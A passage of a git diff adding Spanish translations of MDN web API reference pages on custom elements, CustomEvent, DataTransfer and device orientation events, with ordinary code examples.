+<pre class="brush: html">&lt;popup-info img="img/alt.png" text="Su código de validación de tarjeta (CVC) es una característica
+                                    extra de seguridad — consiste en 3 o 4
+                                    numeros en la parte posterior de su tarjeta."&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Los constructores de elementos personalizados autónomos deben extender {{domxref("HTMLElement")}}.</p>
+</div>
+
+<h3 id="Elemento_personalizado_preconstruido">Elemento personalizado preconstruido</h3>
+
+<p>El siguiente código está tomado de nuestro ejemplo <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a> (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">verlo en vivo</a>).</p>
+
+<pre class="brush: js">// Crear una clase para el elemento
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Siempre lo primero es llamar a super en el constructor
+    super();
+
+    // contar palabras del padre de este elemento
+    var wcParent = this.parentNode;
+
+    // la función countWords cuenta palabras (aunque estén separadas por más de un espacio)
+    // que existe en el nodo pasado como parámetro.
+    // innerText está definido para objetos <code>HTMLElement</code>, mientras que textContent para todos los objetos Node
+    // el operador || hace que obtengamos al menos uno de los dos
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // // Crear una shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Crear un nodo span con el número de palabras
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Añadirlo a la shadow root
+    shadow.appendChild(text);
+
+
+    // Actualizar el contador cuando el contenido del elemento cambie
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<pre class="brush: html">&lt;p is="word-count"&gt;&lt;/p&gt;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "custom-elements.html#dom-customelementregistry-define", "customElements.define()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.CustomElementRegistry.define")}}</p>
+</div>
diff --git a/files/es/web/api/customelementregistry/index.html b/files/es/web/api/customelementregistry/index.html
new file mode 100644
index 0000000000..624bc8f1fb
--- /dev/null
+++ b/files/es/web/api/customelementregistry/index.html
@@ -0,0 +1,101 @@
+---
+title: CustomElementRegistry
+slug: Web/API/CustomElementRegistry
+tags:
+  - API
+  - CustomElementRegistry
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Components
+  - custom elements
+translation_of: Web/API/CustomElementRegistry
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p><span class="seoSummary">The <strong><code>CustomElementRegistry</code></strong> interface provides methods for registering custom elements and querying registered elements. To get an instance of it, use the {{domxref("window.customElements")}} property.</span></p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry.define()")}}</dt>
+ <dd>Defines a new <a href="/en-US/docs/Web/Web_Components/Custom_Elements">custom element</a>.</dd>
+ <dt>{{domxref("CustomElementRegistry.get()")}}</dt>
+ <dd>Returns the constuctor for the named custom element, or {{jsxref("undefined")}} if the custom element is not defined.</dd>
+ <dt>{{domxref("CustomElementRegistry.upgrade()")}}</dt>
+ <dd>Upgrades a custom element directly, even before it is connected to its shadow root.</dd>
+ <dt>{{domxref("CustomElementRegistry.whenDefined()")}}</dt>
+ <dd>Returns an empty {{jsxref("Promise", "promise")}} that resolves when a custom element becomes defined with the given name. If such a custom element is already defined, the returned promise is immediately fulfilled.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following code is taken from our <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a> example (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">see it live also</a>). Note how we use the {{domxref("CustomElementRegistry.define()")}} method to define the custom element after creating its class.</p>
+
+<pre class="brush: js">// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<div class="note">
+<p><strong>Note:</strong> The <code>CustomElementRegistry</code> is available through the {{domxref("Window.customElements")}} property.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "custom-elements.html#customelementregistry", "CustomElementRegistry")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CustomElementRegistry")}}</p>
diff --git a/files/es/web/api/customevent/index.html b/files/es/web/api/customevent/index.html
new file mode 100644
index 0000000000..b189c77f66
--- /dev/null
+++ b/files/es/web/api/customevent/index.html
@@ -0,0 +1,94 @@
+---
+title: CustomEvent
+slug: Web/API/CustomEvent
+tags:
+  - API
+  - DOM
+  - Interfaz
+  - Referencia
+translation_of: Web/API/CustomEvent
+---
+<p>{{APIRef("DOM")}}La interfaz <strong><code>CustomEvent</code></strong>  representa eventos inicializados por una aplicación para cualquier propósito.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}</dt>
+ <dd>
+ <p>Crea un <code>CustomEvent</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.detail")}} {{readonlyinline}}</dt>
+ <dd>Cualquier dato transmitido al inicializar el evento.</dd>
+</dl>
+
+<p><em>Esta interfaz hereda las propiedades de su padre, </em>{{domxref("Event")}}:</p>
+
+<p>{{Page("/es/docs/Web/API/Event", "Propiedades")}}</p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>Inicializar un objeto <code>CustomEvent</code>. Si el evento ya ha sido enviado, este método no hace nada.</p>
+ </dd>
+</dl>
+
+<p><em>Esta interfaz hereda los métodos de su padre, </em>{{domxref("Event")}}:</p>
+
+<p>{{Page("/es/docs/Web/API/Event", "Métodos")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.CustomEvent")}}</p>
+
+<h2 id="Disparar_desde_código_privilegiado_a_código_no-privilegiado">Disparar desde código privilegiado a código no-privilegiado</h2>
+
+<p>Al disparar un CustomEvent desde código privilegiado (una extensión) a un código no-privilegiado (una página web),  deben considerarse algunos problemas de seguridad. Firefox y otras aplicaciones Gecko restringen al objeto creado desde un contexto siendo directamente utilizado por otro, el cual automáticamente evitará los agujeros de seguridad, pero estas restricciones también pueden impedir que su código se ejecute como esperaba.</p>
+
+<p>Al crear un objeto CustomEvent, debes crear el objeto desde la misma <a href="/en-US/docs/XUL/window">ventana</a>. El atributo <code>detail</code> de tu CustomEvent estará sujeto a las mismas restricciones. Los valores de String y Array serán legibles sin restricciones por el content, pero los objetos personalizados no lo harán. Al utilizar un objeto personalizado, necesitaras definir que atributos de ese objeto se pueden leer desde la secuencia de comandos de contenido usando  <a href="/en-US/docs/">Components.utils.cloneInto()</a>.</p>
+
+<pre class="brush: js">// doc es una referencia al contenido del documento
+function dispatchCustomEvent(doc) {
+  var eventDetail = Components.utils.cloneInto({foo: 'bar'}, doc.defaultView);
+  var myEvent = doc.defaultView.CustomEvent("mytype", eventDetail);
+  doc.dispatchEvent(myEvent);
+}</pre>
+
+<p>Pero hay que tener en cuenta que exponer una función permitirá que el script content lo ejecute con privilegios de chrome, lo que puede abrir una vulnerabilidad de seguridad.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interacción entre páginas privilegiadas y no privilegiadas</a></li>
+ <li><a href="/en-US/docs/Web/API/window.postMessage" title="/en-US/docs/Web/API/window.postMessage">Window.postMessage</a></li>
+ <li><a href="/es/docs/Web/Guide/DOM/Events/Creacion_y_Activación_Eventos">Creación y activación de eventos</a></li>
+</ul>
diff --git a/files/es/web/api/datatransfer/index.html b/files/es/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..8d8a6a5b1d
--- /dev/null
+++ b/files/es/web/api/datatransfer/index.html
@@ -0,0 +1,378 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+translation_of: Web/API/DataTransfer
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>{{ gecko_minversion_header("1.9") }} El objeto <code>DataTransfer</code> es usado como contenedor de datos que estan siendo manipulados durante la operación de drag and drop. Este puede contener uno o varios objetos, de uno o varios tipos de datos. Para más información  en cuanto a drag and drop, ver <a class="internal" href="/En/DragDrop/Drag_and_Drop" title="En/DragDrop/Drag and Drop">Drag and Drop</a>.</p>
+
+<p>Este objeto esta disponible desde la propiedad <code>dataTransfer</code> de todos los eventos de drag . No pueden ser creados por separado.</p>
+
+<h2 id="Properties" name="Properties">Lista de propiedades</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Properties</td>
+   <td class="header">Type</td>
+  </tr>
+  <tr>
+   <td><code><a href="#dropEffect.28.29" title="En/DragDrop/DataTransfer#dropEffect">dropEffect</a></code></td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="#effectAllowed.28.29" title="En/DragDrop/DataTransfer#effectAllowed">effectAllowed</a></code></td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><a href="#files.28.29" title="En/DragDrop/DataTransfer#files"><code>files</code></a> {{ gecko_minversion_inline("1.9.2") }}</td>
+   <td>{{ domxref("FileList") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="#mozCursor" title="En/DragDrop/DataTransfer#mozCursor">mozCursor</a></code> {{ non-standard_inline() }} {{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="#mozItemCount.28.29" title="En/DragDrop/DataTransfer#mozItemCount">mozItemCount</a></code> {{ non-standard_inline() }}</td>
+   <td><code>unsigned long</code></td>
+  </tr>
+  <tr>
+   <td><a href="#mozSourceNode" title="En/DragDrop/DataTransfer#mozSourceNode"><code>mozSourceNode</code></a> {{ non-standard_inline() }} {{ gecko_minversion_inline("2") }}</td>
+   <td>{{ domxref("Node") }}</td>
+  </tr>
+  <tr>
+   <td><a href="#mozUserCancelled" title="En/DragDrop/DataTransfer#mozUserCancelled"><code>mozUserCancelled</code></a></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/Core JavaScript 1.5 Reference/Global Objects/Boolean"><code>Boolean</code></a></td>
+  </tr>
+  <tr>
+   <td><code><a href="#types.28.29" title="En/DragDrop/DataTransfer#types">types</a></code></td>
+   <td><code><a href="/en-US/docs/Web/API/DOMStringList" title="en-US/docs/Web/API/DOMStringList">DOMStringList</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Method_overview" name="Method_overview">Lista de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#addElement.28.29">addElement</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">Element</a> element)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#clearData.28.29">clearData</a>([in <a href="/en/String" title="en/String">String</a> type])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/String" title="en/String">String</a> <a href="#getData.28.29">getData</a>(in <a href="/en/String" title="en/String">String</a> type)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setData.28.29">setData</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/String" title="en/String">String</a> data)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setDragImage.28.29">setDragImage</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">nsIDOMElement</a> image, in long x, in long y)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozClearDataAt.28.29">mozClearDataAt</a>([in <a href="/en/String" title="en/String">String</a> type, in unsigned long index])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> <a href="#mozGetDataAt.28.29">mozGetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in unsigned long index)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozSetDataAt.28.29">mozSetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> data, in unsigned long index)</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/StringList" title="en/StringList">StringList</a> <a href="#mozTypesAt.28.29">mozTypesAt</a>([in unsigned long index])</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">Propiedades</h2>
+
+<h3 id="dropEffect.28.29" name="dropEffect.28.29">dropEffect</h3>
+
+<p>The actual effect that will be used, and should always be one of the possible values of <code>effectAllowed</code>.</p>
+
+<p>For the <code>dragenter</code> and <code>dragover</code> events, the <code>dropEffect</code> will be initialized based on what action the user is requesting. How this is determined is platform specific, but typically the user can press modifier keys to adjust which action is desired. Within an event handler for the <code>dragenter</code> and <code>dragover</code> events, the <code>dropEffect</code> should be modified if the action the user is requesting is not the one that is desired.</p>
+
+<p>For <code>dragstart</code>, <code>drag</code>, and <code>dragleave</code> events, the <code>dropEffect</code> is initialized to "none". Any value assigned to the <code>dropEffect</code> will be set, but the value isn't used for anything.</p>
+
+<p>For the <code>drop</code> and <code>dragend</code> events, the <code>dropEffect</code> will be initialized to the action that was desired, which will be the value that the <code>dropEffect</code> had after the last <code>dragenter</code> or <code>dragover</code> event.</p>
+
+<p>Possible values:</p>
+
+<ul>
+ <li><strong>copy</strong>: A copy of the source item is made at the new location.</li>
+ <li><strong>move</strong>: An item is moved to a new location.</li>
+ <li><strong>link</strong>: A link is established to the source at the new location.</li>
+ <li><strong>none</strong>: The item may not be dropped.</li>
+</ul>
+
+<p>Assigning any other value has no effect and retains the old value.</p>
+
+<h3 id="effectAllowed.28.29" name="effectAllowed.28.29">effectAllowed</h3>
+
+<p>Specifies the effects that are allowed for this drag. You may set this in the <code>dragstart</code> event to set the desired effects for the source, and within the <code>dragenter</code> and <code>dragover</code> events to set the desired effects for the target. The value is not used for other events.</p>
+
+<p>Possible values:</p>
+
+<ul>
+ <li><strong>copy</strong>: A copy of the source item may be made at the new location.</li>
+ <li><strong>move</strong>: An item may be moved to a new location.</li>
+ <li><strong>link</strong>: A link may be established to the source at the new location.</li>
+ <li><strong>copyLink</strong>: A copy or link operation is permitted.</li>
+ <li><strong>copyMove</strong>: A copy or move operation is permitted.</li>
+ <li><strong>linkMove</strong>: A link or move operation is permitted.</li>
+ <li><strong>all</strong>: All operations are permitted.</li>
+ <li><strong>none</strong>: the item may not be dropped.</li>
+ <li><strong>uninitialized</strong>: the default value when the effect has not been set, equivalent to all.</li>
+</ul>
+
+<p>Assigning any other value has no effect and retains the old value.</p>
+
+<h3 id="files.28.29" name="files.28.29">files</h3>
+
+<p>{{ gecko_minversion_header("1.9.2") }}</p>
+
+<p>Contains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list. An invalid index access on the {{ domxref("FileList") }} specified by this property will return <code>null</code>.</p>
+
+<h4 id="Example">Example</h4>
+
+<p>This example dumps the list of files dragged into the browser window: <a class="external" href="http://jsfiddle.net/9C2EF/" title="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></p>
+
+<h3 id="types.28.29" name="types.28.29">types</h3>
+
+<p>Holds a list of the format types of the data that is stored for the first item, in the same order the data was added. An empty list will be returned if no data was added.</p>
+
+<p>{{ gecko_minversion_note("1.9.2", 'The string "Files" is included in this list if files are included in the drag.') }}</p>
+
+<p>{{ h3_gecko_minversion("mozCursor", "1.9.1", "mozCursor") }}</p>
+
+<p>The drag cursor's state. This is primarily used to control the cursor during tab drags.</p>
+
+<div class="note"><strong>Note:</strong> This method is currently only implemented on Windows.</div>
+
+<h4 id="Possible_values">Possible values</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Uses the default system behavior.</dd>
+ <dt><code>default</code></dt>
+ <dd>Uses the default Gecko behavior, which is to set the cursor to an arrow during the drag operation.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> If you specify any value other than "default", "auto" is assumed.</div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozItemCount</h3>
+
+<p>The number of items being dragged.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h3 id="mozSourceNode">mozSourceNode</h3>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is <code>null</code> for external drags or if the caller can't access the node.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozUserCancelled</h3>
+
+<p>This property applies only to the <code>dragend</code> event, and is <code>true</code> if the user canceled the drag operation by pressing escape. It will be <code>false</code> in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location. This property is not currently implemented on Linux.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<h3 id="addElement.28.29" name="addElement.28.29">addElement()</h3>
+
+<p>Set the drag source. Usually you would not change this, but it will affect which node the drag and dragend events are fired at. The default target is the node that was dragged.</p>
+
+<pre class="eval"> void addElement(
+   in Element element
+ );
+</pre>
+
+<h6 id="Parameters_addElement" name="Parameters_addElement">Parameters</h6>
+
+<dl>
+ <dt><code>element </code></dt>
+ <dd>The element to add.</dd>
+</dl>
+
+<h3 id="clearData.28.29" name="clearData.28.29">clearData()</h3>
+
+<p>Remove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.</p>
+
+<pre class="eval"> void clearData(
+   [optional] in String type
+ );
+</pre>
+
+<h6 id="Parameters_clearData" name="Parameters_clearData">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to remove.</dd>
+</dl>
+
+<h3 id="getData.28.29" name="getData.28.29">getData()</h3>
+
+<p>Retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.</p>
+
+<p>A security error will occur if you attempt to retrieve data during a drag that was set from a different domain, or the caller would otherwise not have access to. This data will only be available once a drop occurs during the drop event.</p>
+
+<pre class="eval"> String getData(
+   in String type
+ );
+</pre>
+
+<h6 id="Parameters_getData" name="Parameters_getData">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to retrieve.</dd>
+</dl>
+
+<h3 id="setData.28.29" name="setData.28.29">setData()</h3>
+
+<p>Set the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position. That is, the order of the types list is not changed when replacing data of the same type.</p>
+
+<pre class="eval"> void setData(
+   in String type,
+   in String data
+ );
+</pre>
+
+<h6 id="Parameters_setData" name="Parameters_setData">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to add.</dd>
+ <dt><code>data </code></dt>
+ <dd>The data to add.</dd>
+</dl>
+
+<h3 id="setDragImage.28.29" name="setDragImage.28.29">setDragImage()</h3>
+
+<p>Set the image to be used for dragging if a custom one is desired. Most of the time, this would not be set, as a default image is created from the node that was dragged.</p>
+
+<p>If the node is an HTML img element, an HTML canvas element or a XUL image element, the image data is used. Otherwise, image should be a visible node and the drag image will be created from this. If image is null, any custom drag image is cleared and the default is used instead.</p>
+
+<p>The coordinates specify the offset into the image where the mouse cursor should be. To center the image, for instance, use values that are half the width and height of the image.</p>
+
+<pre class="eval"> void setDragImage(
+   in Element image,
+   in long x,
+   in long y
+ );
+</pre>
+
+<h6 id="Parameters_setDragImage" name="Parameters_setDragImage">Parameters</h6>
+
+<dl>
+ <dt><code>image </code></dt>
+ <dd>An element to use as the drag feedback image</dd>
+ <dt><code>x </code></dt>
+ <dd>Horizontal offset within the image.</dd>
+ <dt><code>y </code></dt>
+ <dd>Vertical offset within the image.</dd>
+</dl>
+
+<h3 id="mozClearDataAt.28.29" name="mozClearDataAt.28.29">mozClearDataAt()</h3>
+
+<p>Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.</p>
+
+<p>If the last format for the item is removed, the entire item is removed, reducing <code>mozItemCount</code> by one.</p>
+
+<p>If the <code>format</code> list is empty, then the data associated with all formats is removed. If the format is not found, then this method has no effect.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> void mozClearDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to remove.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to remove.</dd>
+</dl>
+
+<h3 id="mozGetDataAt.28.29" name="mozGetDataAt.28.29">mozGetDataAt()</h3>
+
+<p>Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> nsIVariant mozGetDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to retrieve.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to retrieve.</dd>
+</dl>
+
+<h3 id="mozSetDataAt.28.29" name="mozSetDataAt.28.29">mozSetDataAt()</h3>
+
+<p>A data transfer may store multiple items, each at a given zero-based index. <code>mozSetDataAt()</code> may only be called with an index argument less than <code>mozItemCount</code> in which case an existing item is modified, or equal to <code>mozItemCount</code> in which case a new item is added, and the <code>mozItemCount</code> is incremented by one.</p>
+
+<p>Data should be added in order of preference, with the most specific format added first and the least specific format added last. If data of the given format already exists, it is replaced in the same position as the old data.</p>
+
+<p>The data should be either a string, a primitive boolean or number type (which will be converted into a string) or an {{ interface("nsISupports") }}.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> void mozSetDataAt(
+   [optional] in String type,
+   in nsIVariant data,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozSetDataAt" name="Parameters_mozSetDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to add.</dd>
+ <dt><code>data </code></dt>
+ <dd>The data to add.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to add.</dd>
+</dl>
+
+<h3 id="mozTypesAt.28.29" name="mozTypesAt.28.29">mozTypesAt()</h3>
+
+<p>Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> nsIVariant mozTypesAt(
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozTypesAt" name="Parameters_mozTypesAt">Parameters</h6>
+
+<dl>
+ <dt><code>index </code></dt>
+ <dd>The index of the data for which to retrieve the types.</dd>
+</dl>
+
+<h2 id="See_also" name="See_also">Mira también</h2>
+
+<p><a class="internal" href="/En/DragDrop/Drag_and_Drop" title="Drag and Drop">Drag and Drop</a></p>
+
+<p>{{ languages( { "ja": "Ja/DragDrop/DataTransfer" } ) }}</p>
diff --git a/files/es/web/api/detecting_device_orientation/index.html b/files/es/web/api/detecting_device_orientation/index.html
new file mode 100644
index 0000000000..60302ae643
--- /dev/null
+++ b/files/es/web/api/detecting_device_orientation/index.html
@@ -0,0 +1,278 @@
+---
+title: Detectando la orientación del dispositivo
+slug: Web/API/Detecting_device_orientation
+translation_of: Web/API/Detecting_device_orientation
+---
+<div>{{SeeCompatTable}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Cada vez más, los dispositivos habilitados para la web son capaces de determinar su <strong>orientación</strong>; esto hace que estos puedan reportar datos indicando los cambios de su orientación con relación a la fuerza de gravedad. In particular, dispositivos de mano como los teléfonos móviles pueden usar esta información para rotar la pantalla automaticamente para mostrar información en de forma vertical, presentando un vista extendida del contenido de la web cuando el dispositivo de forma que el ancho es mayor que el alto. </p>
+
+<p>Hay dos eventos JavaScript que manejan la información de orientación. El primero es {{domxref("DeviceOrientationEvent")}}, que es enviado cuando el aceleromentro detecta un cambio de orientación del dispositivo. Recibiendo y procesando los datos reportados por el evento es posible responder interactivamente a la rotación y aplicar cambios correspondientes al movimiento del dispositivo.</p>
+
+<p>El segundo evento es {{domxref("DeviceMotionEvent")}}, que es enviado cuando un cambio de la aceleración fue añadido. Esto es diferente de {{domxref("DeviceOrientationEvent")}} por que está escuchando cambios de aceleración mas no de orientación. Los sensores son comunmente capaces de detetar {{domxref("DeviceMotionEvent")}} incluso aquellos sensores de laptops que protegen del movimiento a los disposivitos de almacenamiento. {{domxref("DeviceOrientationEvent")}} es comunmente encontrado en dispositivos móviles.</p>
+
+<h2 id="Trabajando_con_eventos_de_orientación">Trabajando con eventos de orientación</h2>
+
+<p>Todo lo que necesitas hacer para empezar a recibir cambios de orientación es escuchar el evento {{ event("deviceorientation") }}:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("deviceorientation", handleOrientation, true);
+</pre>
+
+<p>Después de registrar el evento de escucha (en este caso, una función de JavaScript llamada handleOrientation()), tu función de escucha periodicamente será invocada con una actualización de datos.</p>
+
+<p>La información del evento contiene 4 valores:</p>
+
+<ul>
+ <li>{{ domxref("DeviceOrientationEvent.absolute") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.alpha") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.beta") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.gamma") }}</li>
+</ul>
+
+<p>El manejador del evento puede ser similar a lo siguiente:</p>
+
+<pre class="brush: js notranslate">function handleOrientation(event) {
+  var absolute = event.absolute;
+  var alpha    = event.alpha;
+  var beta     = event.beta;
+  var gamma    = event.gamma;
+
+  // Do stuff with the new orientation data
+}
+</pre>
+
+<h3 id="Explicación_de_los_Valores_de_Orientación">Explicación de los Valores de Orientación</h3>
+
+<p>El valor reportado para cada eje indica la cantidad de rotación alrededor de un eje dado, con referencia a un estandar marco de coordenadas. El siguiente enlace describe con mayor detalle la <a href="/en-US/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientacíon y datos del movimiento explicado</a> que es resumido abajo. </p>
+
+<ul>
+ <li>{{ domxref("DeviceOrientationEvent.alpha") }} representa el movimiento alrededor del eje z, representado en grados con valores que van desde 0 a 360.</li>
+ <li>{{ domxref("DeviceOrientationEvent.beta") }} representa el movimiento del dispositivo alrededor del eje x, representado en grados con valores que van desde -180 a 180.  Esto representa un movimiento de frente hacia atrás del dispositivo.</li>
+ <li>{{ domxref("DeviceOrientationEvent.gamma") }} representa el movimiento del dispositivo alrededor del eje y, representado en grados con valores que van de -90 a 90. Esto representa un movimiento de izquierda a derecha del dispositivo.</li>
+</ul>
+
